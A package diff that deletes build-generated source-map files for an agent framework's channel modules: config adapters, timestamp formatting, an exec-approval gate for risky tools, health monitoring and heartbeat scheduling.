AS,aAAa;EACtC,aAAa,SAAS,eAAe,aAAa;EAClD,cAAc,gBAAgB,aAAa,cAAc,SAAS,aAAa;EAC/E,SAAS,eAAe,aAAa,SAAS,SAAS,QAAQ;EAC/D,SAAS,eAAe,aAAa,SAAS,SAAS,QAAQ;EAC/D,IAAI,eAAe,aAAa,IAAI,SAAS,GAAG;EACjD;;AAGH,SAAS,eAAe,QAKA;CACtB,MAAM,eAAe,qBAAqB,OAAO,cAAc,OAAO,OAAO;CAC7E,MAAM,KAAK,mBAAmB,OAAO,UAAU;AAC/C,QAAO;EACL;EACA,aAAa,OAAO,UAAU;EAC9B,QAAQ,OAAO,UAAU;EACzB,MAAM,OAAO,UAAU;EACvB,OAAO,aAAa;EACpB,aAAa,aAAa;EAC1B,UAAU,aAAa;EACvB,OAAO,aAAa,SAAS;EAC7B,YAAY,oBAAoB,IAAI,aAAa,WAAW;EAC5D,cAAc,aAAa,gBAAgB,EAAE;EAC7C,cAAc,aAAa,gBAAgB;EAC3C,SAAS,aAAa,WAAW,EAAE;EACnC,SAAS,aAAa,WAAW,EAAE;EACnC,IAAI,aAAa;EAClB;;AAGH,SAAgB,gCACd,UACA,UAAsC,EAAE,EACxB;CAChB,MAAM,uBAAO,IAAI,KAAkC;AACnD,MAAK,MAAM,aAAa,SAAS,iBAAiB,eAAe,EAAE;EACjE,MAAM,gBAAgB,UAAU,SAAS,wBAAwB,EAAE;AACnE,OAAK,MAAM,CAAC,WAAW,iBAAiB,OAAO,QAAQ,cAAc,EAAE;GACrE,MAAM,QAAQ,eAAe;IAAE;IAAW;IAAW;IAAc,QAAQ,QAAQ;IAAQ,CAAC;AAC5F,QAAK,IAAI,MAAM,IAAI,MAAM;;;AAO7B,QAAO;EAAE,SAJO,MAAM,KAAK,KAAK,QAAQ,CAAC,CAAC,UAAU,GAAG,MAAM;AAC3D,OAAI,EAAE,UAAU,EAAE,MAAO,QAAO,EAAE,QAAQ,EAAE;AAC5C,UAAO,EAAE,GAAG,cAAc,EAAE,GAAG;IAEjB;EAAE;EAAM;;AAG1B,SAAgB,6BAA6B,QAAgB,UAAsC,EAAE,EAAkB;AAErH,QAAO,gCADU,+BAA+B,wCAAwC,OAAO,EAAE,OAClD,EAAE,QAAQ;;AAG3D,SAAgB,sBACd,QACA,WACA,OACoB;CACpB,MAAM,KAAK,mBAAmB,UAAU;CACxC,MAAM,YAAY,mBAAmB,iBAAiB,OAAO,GAAG,CAAC;CACjE,MAAM,MAAO,OAAO,WAAmD;CACvE,MAAM,UAAU,SAAS,IAAI,IAAI,IAAI,YAAY;CACjD,MAAM,SAAS,0BAA0B,IAAI,KAAK,MAAM;CACxD,MAAM,eAAe,SAAS,IAAI,GAAG,OAAO,KAAK,IAAI,CAAC,MAAM,QAAQ,QAAQ,UAAU,GAAG,QAAQ,IAAI;CACrG,MAAM,QAAQ,OAAO,WAAW,MAAM,WAAW,gBAAgB,6BAA6B,IAAI,IAAI;AACtG,QAAO;EACL;EACA;EACA,OAAO,UAAW,QAAQ,UAAU,gBAAiB;EACrD;EACD;;AAGH,SAAgB,oBAAoB,QAAgB,WAA4B;AAC9E,QAAO,sBAAsB,QAAQ,UAAU,CAAC;;AAGlD,SAAgB,wBAAwB,QAA0B;AAChE,QAAO,OAAO,KAAK,OAAO,YAAY,EAAE,CAAC,CACtC,IAAI,mBAAmB,CACvB,QAAQ,OAAO,MAAM,oBAAoB,QAAQ,GAAG,CAAC;;;;mBAtXI;mCAIL;AAWnD,yBAAiD;EACrD,MAAM;EACN,sBAAsB;EACvB"}

package/dist/src/channels/config-helpers.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"config-helpers.js","names":[],"sources":["../../../src/channels/config-helpers.ts"],"sourcesContent":["/**\n * Channel config adapter factories.\n */\n\nimport type { Config } from '../config/schema.js';\nimport type { ChannelConfigAdapter } from './plugin-types.js';\n\nexport function createTopLevelChannelConfigAdapter<ResolvedAccount>(params: {\n  sectionKey: string;\n  resolveAccount: (cfg: Config) => ResolvedAccount;\n  deleteMode?: 'remove-section' | 'clear-fields';\n  resolveAllowFrom?: (account: ResolvedAccount) => Array<string | number> | undefined;\n  formatAllowFrom?: (allowFrom: Array<string | number>) => string[];\n}): ChannelConfigAdapter<ResolvedAccount> {\n  return {\n    listAccountIds: () => ['default'],\n    resolveAccount: (cfg) => params.resolveAccount(cfg),\n    defaultAccountId: () => 'default',\n    isEnabled: (account) => (account as { enabled?: boolean }).enabled !== false,\n    resolveAllowFrom: params.resolveAllowFrom\n      ? ({ cfg }) => params.resolveAllowFrom!(params.resolveAccount(cfg))\n      : undefined,\n    formatAllowFrom: params.formatAllowFrom\n      ? ({ allowFrom }) => params.formatAllowFrom!(allowFrom)\n      : undefined,\n  };\n}\n\nexport function createScopedChannelConfigAdapter<ResolvedAccount>(params: {\n  sectionKey: string;\n  listAccountIds: (cfg: Config) => string[];\n  resolveAccount: (cfg: Config, accountId?: string | null) => ResolvedAccount;\n  defaultAccountId: (cfg: Config) => string;\n  resolveAllowFrom: (account: ResolvedAccount) => Array<string | number> | undefined;\n  formatAllowFrom: (allowFrom: Array<string | number>) => string[];\n}): ChannelConfigAdapter<ResolvedAccount> {\n  return {\n    listAccountIds: params.listAccountIds,\n    resolveAccount: params.resolveAccount,\n    defaultAccountId: params.defaultAccountId,\n    isEnabled: (account) => (account as { enabled?: boolean }).enabled !== false,\n    resolveAllowFrom: ({ cfg, accountId }) =>\n      params.resolveAllowFrom(params.resolveAccount(cfg, accountId)),\n    formatAllowFrom: ({ allowFrom }) => params.formatAllowFrom(allowFrom),\n  };\n}\n\nexport function createHybridChannelConfigAdapter<ResolvedAccount>(params: {\n  sectionKey: string;\n  listAccountIds: (cfg: Config) => string[];\n  resolveAccount: (cfg: Config, accountId?: string | null) => ResolvedAccount;\n  resolveAllowFrom?: (account: ResolvedAccount) => Array<string | number> | undefined;\n  formatAllowFrom?: (allowFrom: Array<string | number>) => string[];\n}): ChannelConfigAdapter<ResolvedAccount> {\n  return {\n    listAccountIds: params.listAccountIds,\n    resolveAccount: params.resolveAccount,\n    defaultAccountId: () => 'default',\n    isEnabled: (account) => (account as { enabled?: boolean }).enabled !== false,\n    resolveAllowFrom: params.resolveAllowFrom\n      ? ({ cfg, accountId }) => params.resolveAllowFrom!(params.resolveAccount(cfg, accountId))\n      : undefined,\n    formatAllowFrom: params.formatAllowFrom\n      ? ({ allowFrom }) => params.formatAllowFrom!(allowFrom)\n      : undefined,\n  };\n}\n"],"mappings":";AAOA,SAAgB,mCAAoD,QAM1B;AACxC,QAAO;EACL,sBAAsB,CAAC,UAAU;EACjC,iBAAiB,QAAQ,OAAO,eAAe,IAAI;EACnD,wBAAwB;EACxB,YAAY,YAAa,QAAkC,YAAY;EACvE,kBAAkB,OAAO,oBACpB,EAAE,UAAU,OAAO,iBAAkB,OAAO,eAAe,IAAI,CAAC,GACjE,KAAA;EACJ,iBAAiB,OAAO,mBACnB,EAAE,gBAAgB,OAAO,gBAAiB,UAAU,GACrD,KAAA;EACL;;AAGH,SAAgB,iCAAkD,QAOxB;AACxC,QAAO;EACL,gBAAgB,OAAO;EACvB,gBAAgB,OAAO;EACvB,kBAAkB,OAAO;EACzB,YAAY,YAAa,QAAkC,YAAY;EACvE,mBAAmB,EAAE,KAAK,gBACxB,OAAO,iBAAiB,OAAO,eAAe,KAAK,UAAU,CAAC;EAChE,kBAAkB,EAAE,gBAAgB,OAAO,gBAAgB,UAAU;EACtE;;AAGH,SAAgB,iCAAkD,QAMxB;AACxC,QAAO;EACL,gBAAgB,OAAO;EACvB,gBAAgB,OAAO;EACvB,wBAAwB;EACxB,YAAY,YAAa,QAAkC,YAAY;EACvE,kBAAkB,OAAO,oBACpB,EAAE,KAAK,gBAAgB,OAAO,iBAAkB,OAAO,eAAe,KAAK,UAAU,CAAC,GACvF,KAAA;EACJ,iBAAiB,OAAO,mBACnB,EAAE,gBAAgB,OAAO,gBAAiB,UAAU,GACrD,KAAA;EACL"}

package/dist/src/channels/envelope-timestamp.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"envelope-timestamp.js","names":[],"sources":["../../../src/channels/envelope-timestamp.ts"],"sourcesContent":["export function formatEnvelopeTimestamp(timezone?: string, now: Date = new Date()): string {\n  try {\n    const resolvedTimezone =\n      timezone?.trim() || Intl.DateTimeFormat().resolvedOptions().timeZone || 'UTC';\n    const parts = new Intl.DateTimeFormat('en-US', {\n      timeZone: resolvedTimezone,\n      year: 'numeric',\n      month: '2-digit',\n      day: '2-digit',\n      hour: '2-digit',\n      minute: '2-digit',\n      hour12: false,\n      timeZoneName: 'short',\n    }).formatToParts(now);\n\n    const map: Record<string, string> = {};\n    for (const part of parts) {\n      if (part.type !== 'literal') {\n        map[part.type] = part.value;\n      }\n    }\n\n    const year = map.year ?? '';\n    const month = map.month ?? '';\n    const day = map.day ?? '';\n    const hour = map.hour ?? '';\n    const minute = map.minute ?? '';\n    const tzName = map.timeZoneName ?? '';\n\n    if (!year || !month || !day || !hour || !minute) {\n      return `${now.toISOString().slice(0, 16).replace('T', ' ')} UTC`;\n    }\n\n    return `${year}-${month}-${day} ${hour}:${minute}${tzName ? ` ${tzName}` : ''}`;\n  } catch {\n    return `${now.toISOString().slice(0, 16).replace('T', ' ')} UTC`;\n  }\n}\n\nexport function prependEnvelopeTimestamp(content: string, timezone?: string): string {\n  const text = content.trim();\n  if (!text) {\n    return content;\n  }\n  const timestamp = formatEnvelopeTimestamp(timezone);\n  return `[${timestamp}] ${content}`;\n}\n\n/** Matches `[YYYY-MM-DD HH:MM]` plus optional ` TZ` inside brackets, as produced by {@link prependEnvelopeTimestamp}. */\nconst ENVELOPE_TIMESTAMP_PREFIX_RE =\n  /^\\[\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}(?:\\s+[^\\]]+)?\\]\\s*/;\n\n/**\n * Remove a single leading envelope timestamp prefix from inbound text (session auto-title, etc.).\n * Does not strip arbitrary `[…]` — only the date+time-shaped prefix from {@link formatEnvelopeTimestamp}.\n */\nexport function stripEnvelopeTimestampPrefix(text: string): string {\n  return text.replace(ENVELOPE_TIMESTAMP_PREFIX_RE, '');\n}\n\n"],"mappings":";AAAA,SAAgB,wBAAwB,UAAmB,sBAAY,IAAI,MAAM,EAAU;AACzF,KAAI;EACF,MAAM,mBACJ,UAAU,MAAM,IAAI,KAAK,gBAAgB,CAAC,iBAAiB,CAAC,YAAY;EAC1E,MAAM,QAAQ,IAAI,KAAK,eAAe,SAAS;GAC7C,UAAU;GACV,MAAM;GACN,OAAO;GACP,KAAK;GACL,MAAM;GACN,QAAQ;GACR,QAAQ;GACR,cAAc;GACf,CAAC,CAAC,cAAc,IAAI;EAErB,MAAM,MAA8B,EAAE;AACtC,OAAK,MAAM,QAAQ,MACjB,KAAI,KAAK,SAAS,UAChB,KAAI,KAAK,QAAQ,KAAK;EAI1B,MAAM,OAAO,IAAI,QAAQ;EACzB,MAAM,QAAQ,IAAI,SAAS;EAC3B,MAAM,MAAM,IAAI,OAAO;EACvB,MAAM,OAAO,IAAI,QAAQ;EACzB,MAAM,SAAS,IAAI,UAAU;EAC7B,MAAM,SAAS,IAAI,gBAAgB;AAEnC,MAAI,CAAC,QAAQ,CAAC,SAAS,CAAC,OAAO,CAAC,QAAQ,CAAC,OACvC,QAAO,GAAG,IAAI,aAAa,CAAC,MAAM,GAAG,GAAG,CAAC,QAAQ,KAAK,IAAI,CAAC;AAG7D,SAAO,GAAG,KAAK,GAAG,MAAM,GAAG,IAAI,GAAG,KAAK,GAAG,SAAS,SAAS,IAAI,WAAW;SACrE;AACN,SAAO,GAAG,IAAI,aAAa,CAAC,MAAM,GAAG,GAAG,CAAC,QAAQ,KAAK,IAAI,CAAC;;;AAI/D,SAAgB,yBAAyB,SAAiB,UAA2B;AAEnF,KAAI,CADS,QAAQ,MACZ,CACP,QAAO;AAGT,QAAO,IADW,wBAAwB,SACtB,CAAC,IAAI;;;AAI3B,MAAM,+BACJ;;;;;AAMF,SAAgB,6BAA6B,MAAsB;AACjE,QAAO,KAAK,QAAQ,8BAA8B,GAAG"}

package/dist/src/channels/exec-approval-runtime.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"exec-approval-runtime.js","names":[],"sources":["../../../src/channels/exec-approval-runtime.ts"],"sourcesContent":["/**\n * Channel exec-approval gate — plugins register handlers; agent runtime invokes before risky tools.\n */\n\nimport type { Config } from '../config/schema.js';\n\nexport interface ExecApprovalRequestPayload {\n  sessionKey: string;\n  channel: string;\n  chatId: string;\n  accountId?: string;\n  toolName: string;\n  summary: string;\n  details?: Record<string, unknown>;\n}\n\nexport interface ExecApprovalHandler {\n  isEnabled(cfg: Config, params: { channel: string; accountId?: string }): boolean;\n  requestApproval(cfg: Config, payload: ExecApprovalRequestPayload): Promise<boolean>;\n}\n\nconst handlers = new Map<string, ExecApprovalHandler>();\n\nexport function registerChannelExecApprovalHandler(channelId: string, handler: ExecApprovalHandler): () => void {\n  handlers.set(channelId, handler);\n  return () => handlers.delete(channelId);\n}\n\nexport async function maybeRequestChannelExecApproval(params: {\n  cfg: Config;\n  payload: ExecApprovalRequestPayload;\n}): Promise<{ required: boolean; approved: boolean; reason?: string }> {\n  const handler = handlers.get(params.payload.channel);\n  if (!handler) {\n    return { required: false, approved: true };\n  }\n  if (!handler.isEnabled(params.cfg, { channel: params.payload.channel, accountId: params.payload.accountId })) {\n    return { required: false, approved: true };\n  }\n  const approved = await handler.requestApproval(params.cfg, params.payload);\n  return {\n    required: true,\n    approved,\n    reason: approved ? undefined : 'Exec approval denied or timed out',\n  };\n}\n"],"mappings":";AAqBA,MAAM,2BAAW,IAAI,KAAkC;AAEvD,SAAgB,mCAAmC,WAAmB,SAA0C;AAC9G,UAAS,IAAI,WAAW,QAAQ;AAChC,cAAa,SAAS,OAAO,UAAU;;AAGzC,eAAsB,gCAAgC,QAGiB;CACrE,MAAM,UAAU,SAAS,IAAI,OAAO,QAAQ,QAAQ;AACpD,KAAI,CAAC,QACH,QAAO;EAAE,UAAU;EAAO,UAAU;EAAM;AAE5C,KAAI,CAAC,QAAQ,UAAU,OAAO,KAAK;EAAE,SAAS,OAAO,QAAQ;EAAS,WAAW,OAAO,QAAQ;EAAW,CAAC,CAC1G,QAAO;EAAE,UAAU;EAAO,UAAU;EAAM;CAE5C,MAAM,WAAW,MAAM,QAAQ,gBAAgB,OAAO,KAAK,OAAO,QAAQ;AAC1E,QAAO;EACL,UAAU;EACV;EACA,QAAQ,WAAW,KAAA,IAAY;EAChC"}

package/dist/src/channels/health-monitor.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"health-monitor.js","names":[],"sources":["../../../src/channels/health-monitor.ts"],"sourcesContent":["/**\n * Optional per-account health tracking for channel runtimes.\n */\n\nexport interface ChannelHealthState {\n  healthy: boolean;\n  lastCheckAt?: number;\n  detail?: string;\n}\n\nexport class ChannelHealthMonitor {\n  private state = new Map<string, ChannelHealthState>();\n\n  set(channelId: string, accountId: string, next: ChannelHealthState): void {\n    this.state.set(`${channelId}:${accountId}`, next);\n  }\n\n  get(channelId: string, accountId: string): ChannelHealthState | undefined {\n    return this.state.get(`${channelId}:${accountId}`);\n  }\n\n  /** Snapshot for diagnostics / `getRuntimeSnapshot()`. */\n  toJSON(): Record<string, ChannelHealthState> {\n    return Object.fromEntries(this.state);\n  }\n}\n"],"mappings":";AAUA,IAAa,uBAAb,MAAkC;CAChC,wBAAgB,IAAI,KAAiC;CAErD,IAAI,WAAmB,WAAmB,MAAgC;AACxE,OAAK,MAAM,IAAI,GAAG,UAAU,GAAG,aAAa,KAAK;;CAGnD,IAAI,WAAmB,WAAmD;AACxE,SAAO,KAAK,MAAM,IAAI,GAAG,UAAU,GAAG,YAAY;;;CAIpD,SAA6C;AAC3C,SAAO,OAAO,YAAY,KAAK,MAAM"}

package/dist/src/channels/heartbeat-scheduler.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"heartbeat-scheduler.js","names":[],"sources":["../../../src/channels/heartbeat-scheduler.ts"],"sourcesContent":["/**\n * ChannelHeartbeatScheduler — runs per-account heartbeat probes for plugins\n * that expose a `heartbeat.check(...)` hook, records the result in the shared\n * {@link ChannelHealthMonitor}, and asks the lifecycle supervisor for a soft\n * restart when a check fails (rate-limited to once per minute per channel).\n *\n * Previously this lived as `_scheduleHeartbeat` + `_clearHeartbeatTimers` +\n * `_softRestartChannel` + two private Maps on `ChannelManager`. Extracting it\n * makes the heartbeat policy testable in isolation and lets the lifecycle\n * supervisor focus on plugin start/stop without worrying about timer wiring.\n */\n\nimport type { Config } from '../config/schema.js';\n\nimport type { ChannelPlugin } from './plugin-types.js';\nimport type { ChannelHealthMonitor } from './health-monitor.js';\nimport { createLogger } from '../utils/logger.js';\n\nconst log = createLogger('ChannelHeartbeatScheduler');\n\n/** Minimum gap between successive soft-restart attempts for the same channel. */\nconst HEARTBEAT_RESTART_THROTTLE_MS = 60_000;\n\nexport interface ChannelHeartbeatSchedulerOptions {\n  /** Effective config snapshot (per-account listing comes from `plugin.config.listAccountIds(cfg)`). */\n  getConfig: () => Config;\n  /** Shared health monitor that channel APIs surface to the UI. */\n  healthMonitor: ChannelHealthMonitor;\n  /**\n   * Triggered when a check fails AND we are past the restart-throttle window.\n   * The supervisor performs `stop()` + `startPlugin()`; the scheduler does not\n   * touch plugin lifecycle directly.\n   */\n  requestSoftRestart: (channelId: string) => void;\n}\n\nexport class ChannelHeartbeatScheduler {\n  private readonly opts: ChannelHeartbeatSchedulerOptions;\n  /** Key shape: `${pluginId}:${accountId}`. */\n  private readonly timers = new Map<string, ReturnType<typeof setInterval>>();\n  private readonly lastRestartAt = new Map<string, number>();\n\n  constructor(opts: ChannelHeartbeatSchedulerOptions) {\n    this.opts = opts;\n  }\n\n  /** Register heartbeat checks for every account exposed by the plugin. */\n  schedule(plugin: ChannelPlugin): void {\n    const hb = plugin.heartbeat;\n    if (!hb) return;\n\n    this.clear(plugin.id);\n\n    let accountIds: string[];\n    try {\n      accountIds = plugin.config.listAccountIds(this.opts.getConfig());\n    } catch (err) {\n      log.warn({ channel: plugin.id, err }, 'Heartbeat: failed to list accounts');\n      return;\n    }\n\n    for (const accountId of accountIds) {\n      const key = `${plugin.id}:${accountId}`;\n      const timer = setInterval(\n        () => void this.runProbe(plugin, accountId),\n        hb.intervalMs,\n      );\n      this.timers.set(key, timer);\n    }\n  }\n\n  /** Drop every probe scheduled for `pluginId` (called on stop / soft-restart). */\n  clear(pluginId: string): void {\n    const prefix = `${pluginId}:`;\n    for (const key of [...this.timers.keys()]) {\n      if (!key.startsWith(prefix)) continue;\n      clearInterval(this.timers.get(key)!);\n      this.timers.delete(key);\n    }\n  }\n\n  /** Test helper / process shutdown. */\n  clearAll(): void {\n    for (const timer of this.timers.values()) {\n      clearInterval(timer);\n    }\n    this.timers.clear();\n    this.lastRestartAt.clear();\n  }\n\n  private async runProbe(plugin: ChannelPlugin, accountId: string): Promise<void> {\n    const hb = plugin.heartbeat;\n    if (!hb) return;\n    const cfg = this.opts.getConfig();\n    try {\n      const r = await hb.check({ cfg, accountId });\n      this.opts.healthMonitor.set(plugin.id, accountId, {\n        healthy: r.healthy,\n        lastCheckAt: Date.now(),\n        detail:\n          typeof r.details === 'string'\n            ? r.details\n            : r.details != null\n              ? JSON.stringify(r.details)\n              : undefined,\n      });\n      if (!r.healthy) {\n        log.warn(\n          { channel: plugin.id, accountId, detail: r.details },\n          'Channel heartbeat unhealthy',\n        );\n        const now = Date.now();\n        const last = this.lastRestartAt.get(plugin.id) ?? 0;\n        if (now - last < HEARTBEAT_RESTART_THROTTLE_MS) {\n          return;\n        }\n        this.lastRestartAt.set(plugin.id, now);\n        this.opts.requestSoftRestart(plugin.id);\n      }\n    } catch (err) {\n      this.opts.healthMonitor.set(plugin.id, accountId, {\n        healthy: false,\n        lastCheckAt: Date.now(),\n        detail: err instanceof Error ? err.message : String(err),\n      });\n      log.error({ channel: plugin.id, accountId, err }, 'Channel heartbeat check failed');\n    }\n  }\n}\n"],"mappings":";;;aAgBkD;AAElD,MAAM,MAAM,aAAa,4BAA4B;;AAGrD,MAAM,gCAAgC;AAetC,IAAa,4BAAb,MAAuC;CACrC;;CAEA,yBAA0B,IAAI,KAA6C;CAC3E,gCAAiC,IAAI,KAAqB;CAE1D,YAAY,MAAwC;AAClD,OAAK,OAAO;;;CAId,SAAS,QAA6B;EACpC,MAAM,KAAK,OAAO;AAClB,MAAI,CAAC,GAAI;AAET,OAAK,MAAM,OAAO,GAAG;EAErB,IAAI;AACJ,MAAI;AACF,gBAAa,OAAO,OAAO,eAAe,KAAK,KAAK,WAAW,CAAC;WACzD,KAAK;AACZ,OAAI,KAAK;IAAE,SAAS,OAAO;IAAI;IAAK,EAAE,qCAAqC;AAC3E;;AAGF,OAAK,MAAM,aAAa,YAAY;GAClC,MAAM,MAAM,GAAG,OAAO,GAAG,GAAG;GAC5B,MAAM,QAAQ,kBACN,KAAK,KAAK,SAAS,QAAQ,UAAU,EAC3C,GAAG,WACJ;AACD,QAAK,OAAO,IAAI,KAAK,MAAM;;;;CAK/B,MAAM,UAAwB;EAC5B,MAAM,SAAS,GAAG,SAAS;AAC3B,OAAK,MAAM,OAAO,CAAC,GAAG,KAAK,OAAO,MAAM,CAAC,EAAE;AACzC,OAAI,CAAC,IAAI,WAAW,OAAO,CAAE;AAC7B,iBAAc,KAAK,OAAO,IAAI,IAAI,CAAE;AACpC,QAAK,OAAO,OAAO,IAAI;;;;CAK3B,WAAiB;AACf,OAAK,MAAM,SAAS,KAAK,OAAO,QAAQ,CACtC,eAAc,MAAM;AAEtB,OAAK,OAAO,OAAO;AACnB,OAAK,cAAc,OAAO;;CAG5B,MAAc,SAAS,QAAuB,WAAkC;EAC9E,MAAM,KAAK,OAAO;AAClB,MAAI,CAAC,GAAI;EACT,MAAM,MAAM,KAAK,KAAK,WAAW;AACjC,MAAI;GACF,MAAM,IAAI,MAAM,GAAG,MAAM;IAAE;IAAK;IAAW,CAAC;AAC5C,QAAK,KAAK,cAAc,IAAI,OAAO,IAAI,WAAW;IAChD,SAAS,EAAE;IACX,aAAa,KAAK,KAAK;IACvB,QACE,OAAO,EAAE,YAAY,WACjB,EAAE,UACF,EAAE,WAAW,OACX,KAAK,UAAU,EAAE,QAAQ,GACzB,KAAA;IACT,CAAC;AACF,OAAI,CAAC,EAAE,SAAS;AACd,QAAI,KACF;KAAE,SAAS,OAAO;KAAI;KAAW,QAAQ,EAAE;KAAS,EACpD,8BACD;IACD,MAAM,MAAM,KAAK,KAAK;AAEtB,QAAI,OADS,KAAK,cAAc,IAAI,OAAO,GAAG,IAAI,KACjC,8BACf;AAEF,SAAK,cAAc,IAAI,OAAO,IAAI,IAAI;AACtC,SAAK,KAAK,mBAAmB,OAAO,GAAG;;WAElC,KAAK;AACZ,QAAK,KAAK,cAAc,IAAI,OAAO,IAAI,WAAW;IAChD,SAAS;IACT,aAAa,KAAK,KAAK;IACvB,QAAQ,eAAe,QAAQ,IAAI,UAAU,OAAO,IAAI;IACzD,CAAC;AACF,OAAI,MAAM;IAAE,SAAS,OAAO;IAAI;IAAW;IAAK,EAAE,iCAAiC"}

package/dist/src/channels/internal-outbound.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"internal-outbound.js","names":[],"sources":["../../../src/channels/internal-outbound.ts"],"sourcesContent":["/**\n * Synthetic `OutboundMessage.channel` for internal agent runs (e.g. heartbeat without delivery).\n * {@link ChannelManager.send} drops these without treating them as unknown plugins.\n */\nexport const INTERNAL_OUTBOUND_DROP_CHANNEL = '__xopc_internal';\n"],"mappings":";;;;;AAIA,MAAa,iCAAiC"}